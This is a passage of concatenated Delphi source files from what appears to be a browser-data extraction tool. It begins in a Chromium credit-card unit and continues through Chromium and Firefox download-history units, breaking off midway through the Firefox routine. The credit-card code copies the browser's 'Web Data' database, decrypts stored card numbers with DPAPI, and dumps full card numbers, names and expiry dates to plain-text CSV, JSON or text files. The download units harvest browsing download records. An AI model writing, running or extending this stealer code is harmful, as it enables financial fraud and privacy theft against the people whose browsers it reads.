143 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
144 | AssignFile(OutputFile, FilePath);
145 | try
146 | Rewrite(OutputFile);
147 | for var Card in CreditCards do
148 | begin
149 | WriteLn(OutputFile);
150 | WriteLn(OutputFile, 'GUID: ', Card.GUID);
151 | WriteLn(OutputFile, 'Name: ', Card.Name);
152 | WriteLn(OutputFile, 'Card Number: ', Card.CardNumber);
153 | WriteLn(OutputFile, 'Expiration: ', Card.ExpirationMonth, '/',
154 | Card.ExpirationYear);
155 | WriteLn(OutputFile, 'Nickname: ', Card.NickName);
156 | WriteLn(OutputFile, 'Billing Address ID: ', Card.Address);
157 | WriteLn(OutputFile, '----------------------------------------');
158 | end;
159 | WriteLn(Format('[%s] Credit cards saved to: %s', [GetBrowserPrefix.ToUpper,
160 | FilePath]));
161 | finally
162 | CloseFile(OutputFile);
163 | end;
164 | end;
165 |
166 | procedure TChromiumCreditCardHelper.OutputJSON(const CreditCards
167 | : TCreditCardDataArray);
168 | var
169 | JSONArray: TJSONArray;
170 | JSONObject: TJSONObject;
171 | FileName, FilePath, JSONString: string;
172 | begin
173 | EnsureResultsDirectory;
174 | JSONArray := TJSONArray.Create;
175 | try
176 | for var Card in CreditCards do
177 | begin
178 | JSONObject := TJSONObject.Create;
179 | JSONObject.AddPair('guid', TJSONString.Create(Card.GUID));
180 | JSONObject.AddPair('name', TJSONString.Create(Card.Name));
181 | JSONObject.AddPair('cardNumber', TJSONString.Create(Card.CardNumber));
182 | JSONObject.AddPair('expirationMonth',
183 | TJSONString.Create(Card.ExpirationMonth));
184 | JSONObject.AddPair('expirationYear',
185 | TJSONString.Create(Card.ExpirationYear));
186 | JSONObject.AddPair('nickname', TJSONString.Create(Card.NickName));
187 | JSONObject.AddPair('billingAddressId', TJSONString.Create(Card.Address));
188 | JSONArray.AddElement(JSONObject);
189 | end;
190 |
191 | FileName := Format('%s_%s_creditcards.json',
192 | [GetBrowserPrefix, GetProfileName]);
193 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'),
194 | FileName);
195 |
196 | // Convert JSON to string
197 | JSONString := JSONArray.Format(2);
198 |
199 | // Replace escaped forward slashes \/ with /
200 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
201 |
202 | // Save the modified JSON string
203 | TFile.WriteAllText(FilePath, JSONString);
204 |
205 | WriteLn(Format('[%s] Credit cards saved to: %s', [GetBrowserPrefix.ToUpper,
206 | FilePath]));
207 | finally
208 | JSONArray.Free;
209 | end;
210 | end;
211 |
212 | procedure TChromiumCreditCardHelper.OutputCSV(const CreditCards
213 | : TCreditCardDataArray);
214 | var
215 | OutputFile: TextFile;
216 | FileName, FilePath: string;
217 | begin
218 | EnsureResultsDirectory;
219 | FileName := Format('%s_%s_creditcards.csv',
220 | [GetBrowserPrefix, GetProfileName]);
221 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
222 | AssignFile(OutputFile, FilePath);
223 | try
224 | Rewrite(OutputFile);
225 | WriteLn(OutputFile,
226 | 'GUID,Name,CardNumber,ExpirationMonth,ExpirationYear,Nickname,BillingAddressId');
227 |
228 | for var Card in CreditCards do
229 | begin
230 | WriteLn(OutputFile, Format('"%s","%s","%s","%s","%s","%s","%s"',
231 | [StringReplace(Card.GUID, '"', '""', [rfReplaceAll]),
232 | StringReplace(Card.Name, '"', '""', [rfReplaceAll]),
233 | StringReplace(Card.CardNumber, '"', '""', [rfReplaceAll]),
234 | StringReplace(Card.ExpirationMonth, '"', '""', [rfReplaceAll]),
235 | StringReplace(Card.ExpirationYear, '"', '""', [rfReplaceAll]),
236 | StringReplace(Card.NickName, '"', '""', [rfReplaceAll]),
237 | StringReplace(Card.Address, '"', '""', [rfReplaceAll])]));
238 | end;
239 |
240 | WriteLn(Format('[%s] Credit cards saved to: %s', [GetBrowserPrefix.ToUpper,
241 | FilePath]));
242 | finally
243 | CloseFile(OutputFile);
244 | end;
245 | end;
246 |
247 | procedure TChromiumCreditCardHelper.OutputCreditCards(const CreditCards
248 | : TCreditCardDataArray);
249 | begin
250 | case FOutputFormat of
251 | ofHuman:
252 | OutputHuman(CreditCards);
253 | ofJSON:
254 | OutputJSON(CreditCards);
255 | ofCSV:
256 | OutputCSV(CreditCards);
257 | end;
258 | end;
259 |
260 | constructor TChromiumCreditCardHelper.Create(const AProfilePath: string;
261 | ABrowserKind: TBrowserKind = bkChrome);
262 | begin
263 | inherited Create;
264 | FProfilePath := AProfilePath;
265 | FBrowserKind := ABrowserKind;
266 | FOutputFormat := ofCSV;
267 | FSQLiteConnection := TUniConnection.Create(nil);
268 | FSQLiteConnection.ProviderName := 'SQLite';
269 | FSQLiteConnection.LoginPrompt := False;
270 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
271 | end;
272 |
273 | destructor TChromiumCreditCardHelper.Destroy;
274 | begin
275 | if Assigned(FSQLiteConnection) then
276 | begin
277 | if FSQLiteConnection.Connected then
278 | FSQLiteConnection.Disconnect;
279 | FSQLiteConnection.Free;
280 | end;
281 | inherited;
282 | end;
283 |
284 | function TChromiumCreditCardHelper.GetCreditCards: TCreditCardDataArray;
285 | var
286 | Query: TUniQuery;
287 | CreditCardDb, TempDb: string;
288 | begin
289 | SetLength(Result, 0);
290 | CreditCardDb := TPath.Combine(FProfilePath, 'Web Data');
291 |
292 | if not FileExists(CreditCardDb) then
293 | Exit;
294 |
295 | // Create temp copy of database
296 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webdata_%s.db',
297 | [TGUID.NewGuid.ToString]));
298 | try
299 | TFile.Copy(CreditCardDb, TempDb);
300 | FSQLiteConnection.Database := TempDb;
301 | FSQLiteConnection.Connect;
302 | Query := TUniQuery.Create(nil);
303 | try
304 | Query.Connection := FSQLiteConnection;
305 | Query.SQL.Text := QUERY_Chromium_CREDITCARD;
306 | Query.Open;
307 |
308 | while not Query.Eof do
309 | begin
310 | SetLength(Result, Length(Result) + 1);
311 | with Result[High(Result)] do
312 | begin
313 | GUID := Query.FieldByName('guid').AsString;
314 | Name := Query.FieldByName('name_on_card').AsString;
315 | ExpirationMonth := Query.FieldByName('expiration_month').AsString;
316 | ExpirationYear := Query.FieldByName('expiration_year').AsString;
317 | Address := Query.FieldByName('billing_address_id').AsString;
318 | NickName := Query.FieldByName('nickname').AsString;
319 |
320 | var
321 | EncryptedCard := Query.FieldByName('card_number_encrypted').AsBytes;
322 | if Length(EncryptedCard) > 0 then
323 | CardNumber := DecryptWithDPAPI(EncryptedCard);
324 | end;
325 | Query.Next;
326 | end;
327 |
328 | if Length(Result) > 0 then
329 | OutputCreditCards(Result);
330 |
331 | finally
332 | Query.Free;
333 | FSQLiteConnection.Disconnect;
334 | end;
335 |
336 | finally
337 | if FileExists(TempDb) then
338 | TFile.Delete(TempDb);
339 | end;
340 | end;
341 |
342 | function TChromiumCreditCardHelper.GetCreditCardCount: Integer;
343 | var
344 | Query: TUniQuery;
345 | CreditCardDb, TempDb: string;
346 | begin
347 | Result := 0;
348 | CreditCardDb := TPath.Combine(FProfilePath, 'Web Data');
349 |
350 | if not FileExists(CreditCardDb) then
351 | Exit;
352 |
353 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webdata_%s.db',
354 | [TGUID.NewGuid.ToString]));
355 | try
356 | TFile.Copy(CreditCardDb, TempDb);
357 | FSQLiteConnection.Database := TempDb;
358 |
359 | try
360 | FSQLiteConnection.Connect;
361 | Query := TUniQuery.Create(nil);
362 | try
363 | Query.Connection := FSQLiteConnection;
364 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM credit_cards';
365 | Query.Open;
366 | Result := Query.FieldByName('count').AsInteger;
367 | finally
368 | Query.Free;
369 | end;
370 | finally
371 | FSQLiteConnection.Disconnect;
372 | end;
373 | finally
374 | if FileExists(TempDb) then
375 | TFile.Delete(TempDb);
376 | end;
377 | end;
378 |
379 | end.
380 |
--------------------------------------------------------------------------------
/src/browserdata/download/ChromiumDownload.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumDownload;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.DateUtils,
12 | System.JSON,
13 | System.StrUtils,
14 | Uni,
15 | SQLiteUniProvider;
16 |
17 | type
18 | TBrowserKind = (bkChrome, bkBrave, bkEdge);
19 |
20 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
21 |
22 | TDownloadItem = record
23 | TargetPath: string;
24 | URL: string;
25 | TotalBytes: Int64;
26 | StartTime: TDateTime;
27 | EndTime: TDateTime;
28 | MimeType: string;
29 | end;
30 |
31 | TDownloadItems = TArray;
32 |
33 | TChromiumDownloadHelper = class
34 | private
35 | FProfilePath: string;
36 | FOutputFormat: TOutputFormat;
37 | FBrowserKind: TBrowserKind;
38 | FSQLiteConnection: TUniConnection;
39 |
40 | const
41 | QUERY_Chromium_DOWNLOAD = 'SELECT target_path, tab_url, total_bytes, ' +
42 | 'strftime(''%Y-%m-%d %H:%M:%S'', start_time/1000000 - 11644473600, ''unixepoch'', ''localtime'') as formatted_start_time, '
43 | + 'strftime(''%Y-%m-%d %H:%M:%S'', end_time/1000000 - 11644473600, ''unixepoch'', ''localtime'') as formatted_end_time, '
44 | + 'mime_type FROM downloads';
45 |
46 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
47 |
48 | function GetProfileName: string;
49 | function GetBrowserPrefix: string;
50 | procedure EnsureResultsDirectory;
51 | procedure OutputHuman(const Downloads: TDownloadItems);
52 | procedure OutputJSON(const Downloads: TDownloadItems);
53 | procedure OutputCSV(const Downloads: TDownloadItems);
54 | procedure OutputDownloads(const Downloads: TDownloadItems);
55 | function ChromiumTimeToDateTime(TimeStamp: Int64): TDateTime;
56 |
57 | public
58 | constructor Create(const AProfilePath: string;
59 | ABrowserKind: TBrowserKind = bkChrome);
60 | destructor Destroy; override;
61 | function GetDownloads: TDownloadItems;
62 | procedure SortDownloadsBySize(var Downloads: TDownloadItems);
63 | function GetDownloadCount: Integer;
64 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
65 | end;
66 |
67 | implementation
68 |
69 | function TChromiumDownloadHelper.GetProfileName: string;
70 | var
71 | ProfileFolder: string;
72 | begin
73 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
74 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]);
75 | end;
76 |
77 | function TChromiumDownloadHelper.GetBrowserPrefix: string;
78 | begin
79 | case FBrowserKind of
80 | bkChrome:
81 | Result := 'chrome';
82 | bkBrave:
83 | Result := 'brave';
84 | bkEdge:
85 | Result := 'edge';
86 | end;
87 | end;
88 |
89 | function TChromiumDownloadHelper.ChromiumTimeToDateTime(TimeStamp: Int64)
90 | : TDateTime;
91 | const
92 | ChromiumTimeStart = 11644473600; // Seconds between 1601-01-01 and 1970-01-01
93 | begin
94 | Result := UnixToDateTime((TimeStamp div 1000000) - ChromiumTimeStart);
95 | end;
96 |
97 | procedure TChromiumDownloadHelper.EnsureResultsDirectory;
98 | var
99 | ResultsDir: string;
100 | begin
101 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
102 | if not TDirectory.Exists(ResultsDir) then
103 | TDirectory.CreateDirectory(ResultsDir);
104 | end;
105 |
106 | procedure TChromiumDownloadHelper.OutputHuman(const Downloads: TDownloadItems);
107 | var
108 | OutputFile: TextFile;
109 | FileName, FilePath: string;
110 | begin
111 | EnsureResultsDirectory;
112 | FileName := Format('%s_%s_downloads.txt', [GetBrowserPrefix, GetProfileName]);
113 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
114 | AssignFile(OutputFile, FilePath);
115 | try
116 | Rewrite(OutputFile);
117 | for var Item in Downloads do
118 | begin
119 | WriteLn(OutputFile);
120 | WriteLn(OutputFile, 'Target Path: ', Item.TargetPath);
121 | WriteLn(OutputFile, 'URL: ', Item.URL);
122 | WriteLn(OutputFile, 'Size: ', Item.TotalBytes);
123 | WriteLn(OutputFile, 'Start Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
124 | Item.StartTime));
125 | WriteLn(OutputFile, 'End Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
126 | Item.EndTime));
127 | WriteLn(OutputFile, 'MIME Type: ', Item.MimeType);
128 | WriteLn(OutputFile, '----------------------------------------');
129 | end;
130 | WriteLn(Format('[%s] Downloads saved to: %s', [GetBrowserPrefix.ToUpper,
131 | FilePath]));
132 | finally
133 | CloseFile(OutputFile);
134 | end;
135 | end;
136 |
137 | procedure TChromiumDownloadHelper.OutputJSON(const Downloads: TDownloadItems);
138 | var
139 | JSONArray: TJSONArray;
140 | JSONObject: TJSONObject;
141 | FileName, FilePath, JSONString: string;
142 | begin
143 | EnsureResultsDirectory;
144 | JSONArray := TJSONArray.Create;
145 | try
146 | for var Item in Downloads do
147 | begin
148 | JSONObject := TJSONObject.Create;
149 | JSONObject.AddPair('targetPath', TJSONString.Create(Item.TargetPath));
150 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
151 | JSONObject.AddPair('totalBytes', TJSONNumber.Create(Item.TotalBytes));
152 | JSONObject.AddPair('startTime', FormatDateTime('yyyy-mm-dd hh:nn:ss',
153 | Item.StartTime));
154 | JSONObject.AddPair('endTime', FormatDateTime('yyyy-mm-dd hh:nn:ss',
155 | Item.EndTime));
156 | if Item.MimeType <> '' then
157 | JSONObject.AddPair('mimeType', TJSONString.Create(Item.MimeType));
158 | JSONArray.AddElement(JSONObject);
159 | end;
160 |
161 | FileName := Format('%s_%s_downloads.json',
162 | [GetBrowserPrefix, GetProfileName]);
163 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'),
164 | FileName);
165 |
166 | // Convert JSON to string
167 | JSONString := JSONArray.Format(2);
168 |
169 | // Replace escaped forward slashes \/ with /
170 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
171 |
172 | // Save the modified JSON string
173 | TFile.WriteAllText(FilePath, JSONString);
174 |
175 | WriteLn(Format('[%s] Downloads saved to: %s', [GetBrowserPrefix.ToUpper,
176 | FilePath]));
177 | finally
178 | JSONArray.Free;
179 | end;
180 | end;
181 |
182 | procedure TChromiumDownloadHelper.OutputCSV(const Downloads: TDownloadItems);
183 | var
184 | OutputFile: TextFile;
185 | FileName, FilePath: string;
186 | begin
187 | EnsureResultsDirectory;
188 | FileName := Format('%s_%s_downloads.csv', [GetBrowserPrefix, GetProfileName]);
189 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
190 | AssignFile(OutputFile, FilePath);
191 | try
192 | Rewrite(OutputFile);
193 | WriteLn(OutputFile, 'TargetPath,URL,TotalBytes,StartTime,EndTime,MimeType');
194 |
195 | for var Item in Downloads do
196 | begin
197 | WriteLn(OutputFile, Format('"%s","%s","%d","%s","%s","%s"',
198 | [StringReplace(Item.TargetPath, '"', '""', [rfReplaceAll]),
199 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]), Item.TotalBytes,
200 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime),
201 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime),
202 | StringReplace(Item.MimeType, '"', '""', [rfReplaceAll])]));
203 | end;
204 |
205 | WriteLn(Format('[%s] Downloads saved to: %s', [GetBrowserPrefix.ToUpper,
206 | FilePath]));
207 | finally
208 | CloseFile(OutputFile);
209 | end;
210 | end;
211 |
212 | procedure TChromiumDownloadHelper.OutputDownloads(const Downloads
213 | : TDownloadItems);
214 | begin
215 | case FOutputFormat of
216 | ofHuman:
217 | OutputHuman(Downloads);
218 | ofJSON:
219 | OutputJSON(Downloads);
220 | ofCSV:
221 | OutputCSV(Downloads);
222 | end;
223 | end;
224 |
225 | constructor TChromiumDownloadHelper.Create(const AProfilePath: string;
226 | ABrowserKind: TBrowserKind = bkChrome);
227 | begin
228 | inherited Create;
229 | FProfilePath := AProfilePath;
230 | FBrowserKind := ABrowserKind;
231 | FOutputFormat := ofCSV;
232 | FSQLiteConnection := TUniConnection.Create(nil);
233 | FSQLiteConnection.ProviderName := 'SQLite';
234 | FSQLiteConnection.LoginPrompt := False;
235 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
236 | end;
237 |
238 | destructor TChromiumDownloadHelper.Destroy;
239 | begin
240 | if Assigned(FSQLiteConnection) then
241 | begin
242 | if FSQLiteConnection.Connected then
243 | FSQLiteConnection.Disconnect;
244 | FSQLiteConnection.Free;
245 | end;
246 | inherited;
247 | end;
248 |
249 | function TChromiumDownloadHelper.GetDownloads: TDownloadItems;
250 | var
251 | Query: TUniQuery;
252 | DownloadDb, TempDb: string;
253 | begin
254 | SetLength(Result, 0);
255 | DownloadDb := TPath.Combine(FProfilePath, 'History');
256 | // Downloads are in History DB
257 |
258 | if not FileExists(DownloadDb) then
259 | Exit;
260 |
261 | // Create temp copy of database
262 | TempDb := TPath.Combine(TPath.GetTempPath, Format('downloads_%s.sqlite',
263 | [TGUID.NewGuid.ToString]));
264 | try
265 | TFile.Copy(DownloadDb, TempDb);
266 | FSQLiteConnection.Database := TempDb;
267 | FSQLiteConnection.Connect;
268 | Query := TUniQuery.Create(nil);
269 | try
270 | Query.Connection := FSQLiteConnection;
271 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
272 | Query.ExecSQL;
273 | Query.SQL.Text := QUERY_Chromium_DOWNLOAD;
274 | Query.Open;
275 |
276 | while not Query.Eof do
277 | begin
278 | SetLength(Result, Length(Result) + 1);
279 | with Result[High(Result)] do
280 | begin
281 | TargetPath := Query.FieldByName('target_path').AsString;
282 | URL := Query.FieldByName('tab_url').AsString;
283 | TotalBytes := Query.FieldByName('total_bytes').AsLargeInt;
284 |
285 | var
286 | FS := TFormatSettings.Create;
287 | FS.DateSeparator := '-';
288 | FS.TimeSeparator := ':';
289 | FS.ShortDateFormat := 'yyyy-mm-dd';
290 | FS.LongTimeFormat := 'hh:nn:ss';
291 |
292 | var
293 | StartTimeStr := Query.FieldByName('formatted_start_time').AsString;
294 | try
295 | StartTime := StrToDateTime(StartTimeStr, FS);
296 | except
297 | on E: Exception do
298 | begin
299 | WriteLn('Error parsing start time: ' + StartTimeStr + ' - ' +
300 | E.Message);
301 | StartTime := 0;
302 | end;
303 | end;
304 |
305 | var
306 | EndTimeStr := Query.FieldByName('formatted_end_time').AsString;
307 | try
308 | EndTime := StrToDateTime(EndTimeStr, FS);
309 | except
310 | on E: Exception do
311 | begin
312 | WriteLn('Error parsing end time: ' + EndTimeStr + ' - ' +
313 | E.Message);
314 | EndTime := 0;
315 | end;
316 | end;
317 |
318 | MimeType := Query.FieldByName('mime_type').AsString;
319 | end;
320 | Query.Next;
321 | end;
322 |
323 | if Length(Result) > 0 then
324 | begin
325 | SortDownloadsBySize(Result);
326 | OutputDownloads(Result);
327 | end;
328 |
329 | finally
330 | Query.Free;
331 | FSQLiteConnection.Disconnect;
332 | end;
333 |
334 | finally
335 | if FileExists(TempDb) then
336 | TFile.Delete(TempDb);
337 | end;
338 | end;
339 |
340 | procedure TChromiumDownloadHelper.SortDownloadsBySize(var Downloads
341 | : TDownloadItems);
342 | var
343 | i, j: Integer;
344 | temp: TDownloadItem;
345 | begin
346 | for i := Low(Downloads) to High(Downloads) - 1 do
347 | for j := i + 1 to High(Downloads) do
348 | if Downloads[i].TotalBytes < Downloads[j].TotalBytes then
349 | begin
350 | temp := Downloads[i];
351 | Downloads[i] := Downloads[j];
352 | Downloads[j] := temp;
353 | end;
354 | end;
355 |
356 | function TChromiumDownloadHelper.GetDownloadCount: Integer;
357 | var
358 | Query: TUniQuery;
359 | DownloadDb, TempDb: string;
360 | begin
361 | Result := 0;
362 | DownloadDb := TPath.Combine(FProfilePath, 'History');
363 | // Downloads are in History DB
364 |
365 | if not FileExists(DownloadDb) then
366 | Exit;
367 |
368 | // Create temp copy of database
369 | TempDb := TPath.Combine(TPath.GetTempPath, Format('downloads_%s.sqlite',
370 | [TGUID.NewGuid.ToString]));
371 | try
372 | TFile.Copy(DownloadDb, TempDb);
373 | FSQLiteConnection.Database := TempDb;
374 | FSQLiteConnection.Connect;
375 | Query := TUniQuery.Create(nil);
376 | try
377 | Query.Connection := FSQLiteConnection;
378 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
379 | Query.ExecSQL;
380 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM downloads';
381 | Query.Open;
382 | Result := Query.FieldByName('count').AsInteger;
383 | finally
384 | Query.Free;
385 | FSQLiteConnection.Disconnect;
386 | end;
387 |
388 | finally
389 | if FileExists(TempDb) then
390 | TFile.Delete(TempDb);
391 | end;
392 | end;
393 |
394 | end.
395 |
--------------------------------------------------------------------------------
/src/browserdata/download/FirefoxDownload.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxDownload;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IOUtils, System.Generics.Collections,
7 | System.Generics.Defaults, System.DateUtils, System.JSON, System.StrUtils,
8 | Uni, SQLiteUniProvider;
9 |
10 | type
11 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
12 |
13 | TDownloadItem = record
14 | TargetPath: string;
15 | URL: string;
16 | TotalBytes: Int64;
17 | StartTime: TDateTime;
18 | EndTime: TDateTime;
19 | MimeType: string;
20 | end;
21 |
22 | TDownloadItems = TArray;
23 |
24 | TFirefoxDownloadHelper = class
25 | private
26 | FProfilePath: string;
27 | FOutputFormat: TOutputFormat;
28 | FSQLiteConnection: TUniConnection;
29 | const
30 | QUERY_FIREFOX_DOWNLOAD =
31 | 'SELECT place_id, GROUP_CONCAT(content) as content, url, ' +
32 | 'strftime(''%Y-%m-%d %H:%M:%S'', dateAdded/1000000, ''unixepoch'', ''localtime'') as formatted_start_date, ' +
33 | 'dateAdded ' +
34 | 'FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON ' +
35 | 'moz_annos.place_id=moz_places.id) t GROUP BY place_id';
36 |
37 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
38 |
39 | function GetProfileName: string;
40 | procedure EnsureResultsDirectory;
41 | procedure OutputHuman(const Downloads: TDownloadItems);
42 | procedure OutputJSON(const Downloads: TDownloadItems);
43 | procedure OutputCSV(const Downloads: TDownloadItems);
44 | procedure OutputDownloads(const Downloads: TDownloadItems);
45 | function ParseJSONContent(const Content: string): TJSONObject;
46 | public
47 | constructor Create(const AProfilePath: string);
48 | destructor Destroy; override;
49 | function GetDownloads: TDownloadItems;
50 | procedure SortDownloadsBySize(var Downloads: TDownloadItems);
51 | function GetDownloadCount: Integer;
52 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
53 | end;
54 |
55 | implementation
56 |
57 | function TFirefoxDownloadHelper.GetProfileName: string;
58 | var
59 | ProfileFolder: string;
60 | begin
61 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
62 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
63 | end;
64 |
65 | function TFirefoxDownloadHelper.ParseJSONContent(const Content: string): TJSONObject;
66 | var
67 | ContentList: TArray;
68 | JsonStr: string;
69 | begin
70 | Result := nil;
71 | ContentList := Content.Split([',{']);
72 | if Length(ContentList) > 1 then
73 | begin
74 | JsonStr := '{' + ContentList[1];
75 | try
76 | Result := TJSONObject(TJSONObject.ParseJSONValue(JsonStr));
77 | except
78 | on E: Exception do
79 | WriteLn('Error parsing JSON: ', E.Message);
80 | end;
81 | end;
82 | end;
83 |
84 | procedure TFirefoxDownloadHelper.EnsureResultsDirectory;
85 | var
86 | ResultsDir: string;
87 | begin
88 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
89 | if not TDirectory.Exists(ResultsDir) then
90 | TDirectory.CreateDirectory(ResultsDir);
91 | end;
92 |
93 | procedure TFirefoxDownloadHelper.OutputHuman(const Downloads: TDownloadItems);
94 | var
95 | OutputFile: TextFile;
96 | FileName, FilePath: string;
97 | begin
98 | EnsureResultsDirectory;
99 | FileName := Format('firefox_%s_downloads.txt', [GetProfileName]);
100 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
101 | AssignFile(OutputFile, FilePath);
102 | try
103 | Rewrite(OutputFile);
104 | for var Item in Downloads do
105 | begin
106 | WriteLn(OutputFile);
107 | WriteLn(OutputFile, 'Target Path: ', Item.TargetPath);
108 | WriteLn(OutputFile, 'URL: ', Item.URL);
109 | WriteLn(OutputFile, 'Total Bytes: ', Item.TotalBytes);
110 | WriteLn(OutputFile, 'Start Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime));
111 | WriteLn(OutputFile, 'End Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime));
112 | if Item.MimeType <> '' then
113 | WriteLn(OutputFile, 'MIME Type: ', Item.MimeType);
114 | WriteLn(OutputFile, '----------------------------------------');
115 | end;
116 | WriteLn('[FIREFOX] Downloads saved to: ', FilePath);
117 | finally
118 | CloseFile(OutputFile);
119 | end;
120 | end;
121 |
122 | procedure TFirefoxDownloadHelper.OutputJSON(const Downloads: TDownloadItems);
123 | var
124 | JSONArray: TJSONArray;
125 | JSONObject: TJSONObject;
126 | FileName, FilePath, JSONString: string;
127 | begin
128 | EnsureResultsDirectory;
129 | JSONArray := TJSONArray.Create;
130 | try
131 | for var Item in Downloads do
132 | begin
133 | JSONObject := TJSONObject.Create;
134 | JSONObject.AddPair('targetPath', TJSONString.Create(Item.TargetPath));
135 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
136 | JSONObject.AddPair('totalBytes', TJSONNumber.Create(Item.TotalBytes));
137 | JSONObject.AddPair('startTime', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime));
138 | JSONObject.AddPair('endTime', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime));
139 | if Item.MimeType <> '' then
140 | JSONObject.AddPair('mimeType', TJSONString.Create(Item.MimeType));
141 | JSONArray.AddElement(JSONObject);
142 | end;
143 |
144 | FileName := Format('firefox_%s_downloads.json', [GetProfileName]);
145 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
146 |
147 | // Convert JSON to string
148 | JSONString := JSONArray.Format(2);
149 |
150 | // Replace escaped forward slashes \/ with /
151 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
152 |
153 | // Save the modified JSON string
154 | TFile.WriteAllText(FilePath, JSONString);
155 |
156 | WriteLn('[FIREFOX] Downloads saved to: ', FilePath);
157 | finally
158 | JSONArray.Free;
159 | end;
160 | end;
161 |
162 | procedure TFirefoxDownloadHelper.OutputCSV(const Downloads: TDownloadItems);
163 | var
164 | OutputFile: TextFile;
165 | FileName, FilePath: string;
166 | begin
167 | EnsureResultsDirectory;
168 | FileName := Format('firefox_%s_downloads.csv', [GetProfileName]);
169 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
170 | AssignFile(OutputFile, FilePath);
171 | try
172 | Rewrite(OutputFile);
173 | WriteLn(OutputFile, 'TargetPath,URL,TotalBytes,StartTime,EndTime,MimeType');
174 |
175 | for var Item in Downloads do
176 | begin
177 | WriteLn(OutputFile, Format('"%s","%s",%d,"%s","%s","%s"',
178 | [
179 | StringReplace(Item.TargetPath, '"', '""', [rfReplaceAll]),
180 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]),
181 | Item.TotalBytes,
182 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime),
183 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime),
184 | StringReplace(Item.MimeType, '"', '""', [rfReplaceAll])
185 | ]));
186 | end;
187 |
188 | WriteLn('[FIREFOX] Downloads saved to: ', FilePath);
189 | finally
190 | CloseFile(OutputFile);
191 | end;
192 | end;
193 |
194 | procedure TFirefoxDownloadHelper.OutputDownloads(const Downloads: TDownloadItems);
195 | begin
196 | case FOutputFormat of
197 | ofHuman: OutputHuman(Downloads);
198 | ofJSON: OutputJSON(Downloads);
199 | ofCSV: OutputCSV(Downloads);
200 | end;
201 | end;
202 |
203 | constructor TFirefoxDownloadHelper.Create(const AProfilePath: string);
204 | begin
205 | inherited Create;
206 | FProfilePath := AProfilePath;
207 | FOutputFormat := ofCSV; // Default to CSV
208 | FSQLiteConnection := TUniConnection.Create(nil);
209 | FSQLiteConnection.ProviderName := 'SQLite';
210 | FSQLiteConnection.LoginPrompt := False;
211 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
212 | end;
213 |
214 | destructor TFirefoxDownloadHelper.Destroy;
215 | begin
216 | if Assigned(FSQLiteConnection) then
217 | begin
218 | if FSQLiteConnection.Connected then
219 | FSQLiteConnection.Disconnect;
220 | FSQLiteConnection.Free;
221 | end;
222 | inherited;
223 | end;
224 |
225 | function TFirefoxDownloadHelper.GetDownloads: TDownloadItems;
226 | var
227 | Query: TUniQuery;
228 | DownloadDb, TempDb: string;
229 | JSONObj: TJSONObject;
230 | FS: TFormatSettings;
231 | begin
232 | SetLength(Result, 0);
233 | DownloadDb := TPath.Combine(FProfilePath, 'places.sqlite');
234 |
235 | if not FileExists(DownloadDb) then
236 | Exit;
237 |
238 | // Create temp copy of database
239 | TempDb := TPath.Combine(TPath.GetTempPath, Format('downloads_%s.sqlite', [TGUID.NewGuid.ToString]));
240 | try
241 | TFile.Copy(DownloadDb, TempDb);
242 | FSQLiteConnection.Database := TempDb;
243 |
244 | FSQLiteConnection.Connect;
245 | Query := TUniQuery.Create(nil);
246 | try
247 | Query.Connection := FSQLiteConnection;
